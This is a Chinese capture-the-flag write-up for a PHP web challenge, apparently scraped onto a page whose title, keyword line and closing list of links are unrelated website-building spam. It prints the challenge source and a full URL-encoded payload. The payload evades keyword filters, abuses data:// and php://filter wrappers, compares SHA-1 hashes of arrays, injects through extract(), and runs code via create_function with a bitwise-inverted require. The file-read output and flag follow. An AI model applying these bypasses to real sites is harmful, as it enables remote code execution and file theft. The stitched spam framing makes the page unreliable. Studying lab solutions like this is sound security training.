当前位置: 首页 > news >正文

沧州建网站网站建设专家价格

沧州建网站,网站建设专家价格,机加工如何用网站开发客户,网页设计与制作教程 pdf下载进入靶场 查看源代码 GFXEIM3YFZYGQ4A 一看就是编码后的 1nD3x.php 访问 得到源代码 ?php // 高亮显示当前 PHP 文件的源代码#xff0c;用于调试或展示代码结构 highlight_file(__FILE__); // 关闭所有 PHP 错误报告#xff0c;防止错误信息泄露可能的安全漏洞 erro… 进入靶场 查看源代码 GFXEIM3YFZYGQ4A  一看就是编码后的 1nD3x.php 访问 得到源代码 ?php // 高亮显示当前 PHP 文件的源代码用于调试或展示代码结构 highlight_file(__FILE__); // 关闭所有 PHP 错误报告防止错误信息泄露可能的安全漏洞 error_reporting(0); // 初始化变量 $file默认值为 1nD3x.php $file 1nD3x.php; // 从 GET 请求中获取名为 shana 的参数值 $shana $_GET[shana]; // 从 GET 请求中获取名为 passwd 的参数值 $passwd $_GET[passwd]; // 初始化变量 $arg用于后续存储参数初始为空字符串 $arg ; // 初始化变量 $code用于后续存储代码初始为空字符串 $code ;// 输出提示信息告知用户这是一个简单挑战解决后会给出 flag echo br /font colorredBThis is a very simple challenge and if you solve it I will give you a flag. Good Luck!/Bbr/font;// 检查 $_SERVER 数组是否存在 if($_SERVER) { // 使用正则表达式检查 $_SERVER[QUERY_STRING] 是否包含危险关键字// 这些关键字可能被用于执行危险操作如代码注入、命令执行等if (preg_match(/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\|\|log/i, $_SERVER[QUERY_STRING])) // 如果包含危险关键字终止程序并输出警告信息die(You seem to want to do something bad?); }// 检查从 GET 请求中获取的 file 参数是否不包含 http 或 https if (!preg_match(/http|https/i, $_GET[file])) {// 检查 debu 参数是否匹配正则表达式 ^aqua_is_cute$ 且不等于 aqua_is_cute// 这里是一个矛盾条件正常情况下不会满足if (preg_match(/^aqua_is_cute$/, $_GET[debu]) $_GET[debu] ! aqua_is_cute) { // 如果满足条件将 file 参数的值赋给 $file 变量$file $_GET[file]; // 输出提示信息表示用户完成了一个步骤echo Neeeeee! Good Job!br;} } else {// 如果 file 参数包含 http 或 https终止程序并输出警告信息die(fxck you! What do you want to do ?!); }// 检查 $_REQUEST 数组是否存在 if($_REQUEST) { // 遍历 $_REQUEST 数组中的每个值foreach($_REQUEST as $value) { // 使用正则表达式检查值是否包含英文字母if(preg_match(/[a-zA-Z]/i, $value)) // 如果包含英文字母终止程序并输出警告信息die(fxck you! I hate English!); } } // 读取 $file 文件的内容并检查是否等于 debu_debu_aqua if (file_get_contents($file) ! debu_debu_aqua)// 如果不相等终止程序并输出提示信息die(Aqua is the cutest five-year-old child in the world! Isnt it ?br);// 检查 $shana 和 $passwd 的 SHA-1 哈希值是否相等但 $shana 和 $passwd 本身不相等 // 这是利用了 SHA-1 哈希函数对某些特殊输入可能产生相同哈希值的特性 if ( sha1($shana) sha1($passwd) $shana ! $passwd ){// 如果满足条件从 GET 请求的 flag 参数中提取变量extract($_GET[flag]);// 输出提示信息表示用户通过了密码验证echo Very good! you know my password. But what is flag?br; } else{// 如果不满足条件终止程序并输出警告信息die(fxck you! you dont know my password! And you dont know sha1! why you come here!); }// 检查 $code 是否只包含小写字母和数字或者 $arg 是否包含危险关键字 if(preg_match(/^[a-z0-9]*$/isD, $code) || preg_match(/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\|\{|\%|x|\|\$|\*|\||\|\|\|\|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i, $arg) ) { // 如果满足条件终止程序并输出提示信息表示危险函数已被禁用die(br /Neeeeee~! I have disabled all dangerous functions! You cant get my flag w); } else { // 如果不满足条件包含 flag.php 文件include flag.php;// 调用 $code 变量作为函数并传入空字符串和 $arg 作为参数$code(, $arg); } ? 总结我们需要传参shana password 绕过正则表达式检查 $_SERVER[QUERY_STRING]  file 参数不包含 http 或 https  debu 参数匹配正则表达式 ^aqua_is_cute$ 且不等于 aqua_is_cute    $_REQUEST 不能包含英文字母 $file 文件的内容要等于 debu_debu_aqua $shana 和 $passwd 的 SHA-1 哈希值相等但 $shana 和 $passwd 本身不相等 $code 只包含小写字母和数字或者 $arg 不包含危险关键字 payload /1nD3x.php?file%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61%64%65%62%75%61%71%75%61%5f%69%73%5f%63%75%74%65%0A%73%68%61%6e%61[]1%70%61%73%73%77%64[]2%66%6c%61%67%5b%63%6f%64%65%5d%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e%66%6c%61%67%5b%61%72%67%5d}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)) ;// post传参 file1debu1 flag就在这里你能拿到它吗PGh0bWwDQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIDQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyIDQo8dGl0bGUUmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2ZlODYwNzNlLTNhZjktNGNiZC1hNTNiLTMxNGI1OWRhOGI4Nn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo  flag{fe86073e-3af9-4cbd-a53b-314b59da8b86}
http://www.dnsts.com.cn/news/12449.html

相关文章:

  • 手机如何免费做网站王烨医生
  • 照明网站建设wordpress建站好么
  • 找别人做的网站怎样修改wordpress 插件推荐
  • 四川鸿业建设集团公司网站网站在线访谈栏目建设
  • 利用网盘 建网站个人电脑可以做网站服务器
  • 制作商城网站开发自建网站的好处
  • seo百度站长工具查询百度网址收录提交入口
  • 建设的网站百度搜不到哪个网站有手工活做
  • 通州富阳网站建设做网站如何排版
  • 网站建设如何商谈公司网站设计的企业
  • 西丽网站的建设网站建设需要哪些必备文件
  • 岱山建设网站南京网站建设 ww
  • 企业自建网站缺东莞做网页
  • 灌云县建设局网站威县做网站哪里便宜
  • 中国空间站拒绝10国名单教育模板网站建设
  • net网站是国际域名吗深圳正规网站制作哪里好
  • 网站设计网站建站做网站商标分类
  • 自己做网站需要什么材料wordpress api下载文件
  • 网站建设怎么让网站收录wordpress固定连接只能访问首页
  • 性价比最高网站建设电话网站建设与管理题
  • 太原seo网站优化怎样在网站图片上做店铺广告
  • wordpress建立好的网站便宜做外贸网站
  • 莆田哪里有网站开发网站如何做响应
  • 建设e购物网站wordpress图片模板下载
  • 什么网站做软文长沙有什么好玩的游乐场
  • wordpress 会员重庆seo整站优化系统
  • 旅游景点网站设计怎样做国外能看到的网站
  • 新站加快网站收录网站的制作步骤
  • 做网站前端ps很重要吗应用公园制作app下载
  • 网站怎样做优化调整内蒙古两学一做网站